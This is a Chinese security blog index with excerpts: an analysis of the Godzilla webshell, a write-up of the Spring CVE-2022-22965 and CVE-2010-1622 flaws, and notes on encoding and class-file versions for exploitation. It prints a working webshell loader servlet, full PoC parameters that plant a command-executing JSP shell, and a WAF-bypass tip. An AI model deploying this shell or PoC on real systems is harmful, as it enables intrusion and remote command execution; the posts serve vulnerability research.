wubba lubba dub dub.
post @ 2022-05-17

分析背景

起源于Y4er师傅发的两篇文章:

对其中的原因比较好奇,所以尝试对哥斯拉做了一次原理分析,测试代码在MemoryShellDemo。文章可能有错误的地方,可以在issue留言。

运行原理

从哥斯拉的源代码里面扣出来godzilla\shells\payloads\java\assets\payload.classs文件,使用https://github.com/leibnitz27/cfr反编译之后,在idea里面新建payload.java文件,然后修改误报错,这里是反编译好之后的文件。payload.java实现了大部分的shell操作,比如查看文件、执行命令、数据库连接等等

新建一个HelloServlet.java,用于动态调试:

package basic;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    String xc = "3c6e0b8a9c15224a";  //定义AES加解密的Key,哥斯拉会把返回的response也做一次加密
    String pass = "pass";       
    String md5 = md5(pass + xc);   //用于返回response在头和尾部插入标识符,头部取md5的前16位字符串,尾部取md5的后16位字符串
    Class payload;

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public byte[] x(byte[] s, boolean m) {  
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //根据m的值判断是加密还是解密,m是true的时候变量为1,这时候表示加密模式,反之是解密模式
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    public Class defClass(byte[] classBytes) throws Throwable {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defMethod.setAccessible(true);
        return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            byte[] data = base64Decode(req.getParameter(pass));
            data = x(data, false);
            if (payload == null) {  
                payload = defClass(data);  //用于第一次接受请求初始化payload
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                resp.getWriter().write(String.valueOf(arrOut));
                resp.getWriter().write("\n");
//                Object f = payload.newInstance(); 
                Object f = ((Class) Class.forName("basic.payload")).newInstance(); //本地加载payload,用于动态调试
                f.equals(arrOut);
                f.equals(data);
                f.equals(req);
                resp.getWriter().write(md5.substring(0, 16));
                f.toString();
                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                resp.getWriter().write(md5.substring(16));
            }
        } catch (Throwable e) {
        }
    }
}

在哥斯拉主界面,点击测试会在burp发送两次请求,然后哥斯拉会弹框出现Success,这时候再点击确定,哥斯拉会发起第三次请求,先分析这三次请求的数据包以及哥斯拉都做了什么事情。

第一次请求

Read More

Servlet

当处理请求的时候:请求 → Listener → Filter → Servlet

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Tomcat是http服务器+servlet容器,当Tomcat作为Servlet容器的时候,讲http请求文本解析之后封装成HttpServletRequest类型的request对象,传递给Servlet,同时讲相应的信息封装为HttpServletResponse类型的response对象,将response对象交给tomcat,tomcat格式化之后返回给浏览器

Read More

0x1. Base64的坑

在JDK8版本里面,Java自带的java.util.Base64是根据RFC4648和RFC2045实现的,但是JDK7里面的sun.misc.BASE64Encoder,是RFC1521实现的。
这会导致java.util.Base64解码JDK7版本的Base64发生错误:Illegal base64 character

可以使用shiro的Base64解决,增加maven依赖:

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.6.0</version>
</dependency>

PS: chybeta师傅在漏洞百出里面提出过,Shiro在Base64解码的时候会丢弃非Base64字符串,所以可以利用这一点绕过WAF防火墙,比如填充垃圾字符串。

0x2. RSA公私钥

Python加解密的时候,使用的是PKCS#1格式的公私钥:

# 公钥
-----BEGIN RSA PUBLIC KEY-----
-----END RSA PUBLIC KEY-----
  
# 私钥
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

但是在Java里面需要使用PKCS#8格式:

# 公钥
-----BEGIN PUBLIC KEY-----
-----END PUBLIC KEY-----
  
# 私钥
-----BEGIN PRIVATE KEY-----
-----END PRIVATE KEY-----
Read More
post @ 2022-04-06

漏洞时间线

  • CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)

  • 2017年9月10日 Oracle官方发文解释Java 9的module新特性

  • 2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)

POC

  • CVE-2010-1622/Struts(S2-020/S2-021/S2-022)

    class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
  • CVE-2022-22965在Java9新增了module之后:

    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

    然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:

    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

利用条件

  • Java版本>=JDK9
  • Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
  • 方法入参是非基础类,不能是String,int等
  • 接口使用了POJO参数绑定

注意事项

  • 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
  • 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录: class.module.classLoader.resources.context.parent.pipeline.first.enabled=false

漏洞分析

当Content-Type是application/x-www-form-urlencoded的时候,会使用ServletModelAttributeMethodProcessor解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request):

此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)对获取到的mpvs进行初步校验:

Read More

0x1. 背景介绍

比如fastjsonlog4j中需要远程加载恶意class文件的时候,如果恶意Class文件的版本高于目标版本,比如托管在服务器的Class是1.8编译的,但是目标版本是1.7,会导致利用失败。出现类似这样的错误:java.lang.UnsupportedClassVersionError: Unsupported major.minor version

0x2. 解决方法

用低版本的Java,比如1.6去编译Class文件,就可以全版本通用。

还有另外一种方法,手动修改Class文件。当Java版本不同的时候,编译出来的Class文件也会不一样,其中Class文件里面会带上编译的Java版本号:

  • 45 = Java 1.1
  • 46 = Java 1.2
  • 47 = Java 1.3
  • 48 = Java 1.4
  • 49 = Java 5
  • 50 = Java 6
  • 51 = Java 7
  • 52 = Java 8
  • 53 = Java 9
  • 54 = Java 10
  • 55 = Java 11
  • 56 = Java 12
  • 57 = Java 13
  • 58 = Java 14
  • 59 = Java 15

所以,尝试手动修改一下这个版本号试试?

  1. 切换到java的15版本,编译运行正常
  2. 使用vim -b Calc.class,然后:%!xxd修改版本号为32(50的16进制,也就是Java6),然后保存::%!xxd -r
  3. 切换java版本到1.7,运行Class正常

Read More
⬆︎TOP